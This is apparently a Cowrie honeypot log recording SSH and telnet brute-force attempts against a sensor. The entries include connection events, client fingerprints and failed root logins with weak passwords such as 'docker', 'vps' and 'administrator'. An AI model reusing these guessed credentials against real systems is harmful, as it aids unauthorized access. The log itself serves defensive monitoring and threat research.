{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:31.227348Z","src_ip":"103.75.84.237","session":"5f39eff24425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.45723366737366,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:31.253282Z","src_ip":"64.227.101.30","session":"59190d193574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57662,"dst_ip":"10.17.0.5","dst_port":23,"session":"44accc08e6f4","protocol":"telnet","message":"New connection: 64.227.101.30:57662 (10.17.0.5:23) [session: 44accc08e6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:31.666292Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:32.004448Z","src_ip":"103.75.84.237","session":"5f39eff24425","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:33.267175Z","src_ip":"103.75.84.237","session":"5f39eff24425","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":39590,"dst_ip":"159.203.135.109","dst_port":22,"session":"c08835cd28b3","protocol":"ssh","message":"New connection: 103.75.84.237:39590 (159.203.135.109:22) [session: c08835cd28b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:33.537772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:33.542301Z","src_ip":"103.75.84.237","session":"c08835cd28b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:33.813765Z","src_ip":"103.75.84.237","session":"c08835cd28b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:34.609462Z","src_ip":"103.75.84.237","session":"c08835cd28b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:35.883677Z","src_ip":"103.75.84.237","session":"c08835cd28b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":39594,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdd23ef346ce","protocol":"ssh","message":"New connection: 103.75.84.237:39594 (159.203.135.109:22) [session: bdd23ef346ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:36.108553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:36.114280Z","src_ip":"103.75.84.237","session":"bdd23ef346ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:36.362973Z","src_ip":"103.75.84.237","session":"bdd23ef346ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:37.112390Z","src_ip":"103.75.84.237","session":"bdd23ef346ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:38.363626Z","src_ip":"103.75.84.237","session":"bdd23ef346ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":39608,"dst_ip":"159.203.135.109","dst_port":22,"session":"54e1b75aed6a","protocol":"ssh","message":"New connection: 103.75.84.237:39608 (159.203.135.109:22) [session: 54e1b75aed6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:38.625752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:38.630928Z","src_ip":"103.75.84.237","session":"54e1b75aed6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:38.894187Z","src_ip":"103.75.84.237","session":"54e1b75aed6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59946,"dst_ip":"10.17.0.5","dst_port":23,"session":"b74911f3d664","protocol":"telnet","message":"New connection: 64.227.101.30:59946 (10.17.0.5:23) [session: b74911f3d664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:39.050281Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:39.676231Z","src_ip":"103.75.84.237","session":"54e1b75aed6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42680,"dst_ip":"159.203.135.109","dst_port":23,"session":"5853b051981d","protocol":"telnet","message":"New connection: 161.97.105.174:42680 (159.203.135.109:23) [session: 5853b051981d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:40.616854Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:40.938695Z","src_ip":"103.75.84.237","session":"54e1b75aed6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":39612,"dst_ip":"159.203.135.109","dst_port":22,"session":"30fd4eebc801","protocol":"ssh","message":"New connection: 103.75.84.237:39612 (159.203.135.109:22) [session: 30fd4eebc801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:41.185163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:41.190887Z","src_ip":"103.75.84.237","session":"30fd4eebc801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:41.446789Z","src_ip":"103.75.84.237","session":"30fd4eebc801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60302,"dst_ip":"10.17.0.5","dst_port":23,"session":"94581759a647","protocol":"telnet","message":"New connection: 64.227.101.30:60302 (10.17.0.5:23) [session: 94581759a647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:42.027441Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"web","message":"login attempt [root/web] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:42.211985Z","src_ip":"103.75.84.237","session":"30fd4eebc801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.472864Z","src_ip":"103.75.84.237","session":"30fd4eebc801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.189.174","src_port":39552,"dst_ip":"10.17.0.5","dst_port":22,"session":"796febf20581","protocol":"ssh","message":"New connection: 209.99.189.174:39552 (10.17.0.5:22) [session: 796febf20581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.707946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.713307Z","src_ip":"209.99.189.174","session":"796febf20581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":48842,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc71f65e1f96","protocol":"ssh","message":"New connection: 103.75.84.237:48842 (159.203.135.109:22) [session: cc71f65e1f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.730118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.735014Z","src_ip":"103.75.84.237","session":"cc71f65e1f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.239.44","src_port":37642,"dst_ip":"159.203.135.109","dst_port":23,"session":"e21d2585df48","protocol":"telnet","message":"New connection: 74.208.239.44:37642 (159.203.135.109:23) [session: e21d2585df48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.814042Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.847398Z","src_ip":"209.99.189.174","session":"796febf20581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:43.996600Z","src_ip":"103.75.84.237","session":"cc71f65e1f96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@44","message":"login attempt [ali/ali@44] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:44.413714Z","src_ip":"209.99.189.174","session":"796febf20581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.90693664550781,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:44.645878Z","src_ip":"161.97.105.174","session":"1c011d58dbb9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:44.781503Z","src_ip":"103.75.84.237","session":"cc71f65e1f96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.173755407333374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:44.807977Z","src_ip":"64.227.101.30","session":"6a2eee345e3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:45.552003Z","src_ip":"209.99.189.174","session":"796febf20581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32932,"dst_ip":"10.17.0.5","dst_port":23,"session":"30601a7f0698","protocol":"telnet","message":"New connection: 64.227.101.30:32932 (10.17.0.5:23) [session: 30601a7f0698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:45.705912Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:46.045649Z","src_ip":"103.75.84.237","session":"cc71f65e1f96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":48846,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea6f24211711","protocol":"ssh","message":"New connection: 103.75.84.237:48846 (159.203.135.109:22) [session: ea6f24211711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:46.296801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:46.302236Z","src_ip":"103.75.84.237","session":"ea6f24211711","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:46.559292Z","src_ip":"103.75.84.237","session":"ea6f24211711","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:47.325943Z","src_ip":"103.75.84.237","session":"ea6f24211711","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:48.584887Z","src_ip":"103.75.84.237","session":"ea6f24211711","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.84.237","src_port":48854,"dst_ip":"159.203.135.109","dst_port":22,"session":"c40da2958524","protocol":"ssh","message":"New connection: 103.75.84.237:48854 (159.203.135.109:22) [session: c40da2958524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:48.838107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:48.857759Z","src_ip":"103.75.84.237","session":"c40da2958524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35162,"dst_ip":"10.17.0.5","dst_port":23,"session":"0da5d22f6ded","protocol":"telnet","message":"New connection: 64.227.101.30:35162 (10.17.0.5:23) [session: 0da5d22f6ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:45:48.862503Z"}
